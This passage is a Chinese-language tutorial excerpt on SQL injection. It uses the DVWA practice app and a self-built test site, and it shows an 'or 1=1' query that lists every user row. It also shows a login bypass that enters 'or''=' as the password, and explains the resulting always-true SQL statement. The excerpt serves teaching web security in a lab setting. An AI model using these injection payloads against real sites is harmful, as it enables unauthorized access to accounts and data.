1 遍历所有数据库内容, 并列出。
select user from users where user id = 1 or 1 = 1;
dvwa测试如下:
2 实战演示
2.1在我们搭建的网站中,输入用户名admin' 发现可以被带到后台数据库中执行,并产生以下报错信息
- 'user_id='admin'' And password='122223''将其修改为一条符合数据库逻辑的执行语句
- 'user_id='随意写' And password=''or''='' #这条语句表示无论前面的正确与否,后面的''=''永远为真
在用户名中随意填写,密码输入 'or''=' 就实现了后台的登录。我们构造了一个特殊的参数,是原有的查询账号的逻辑发生错误,绕过认证登录系统。相当于构造了这样一条SQL语句:
select user,password from user where user_id = '随意写' and password=''or''=''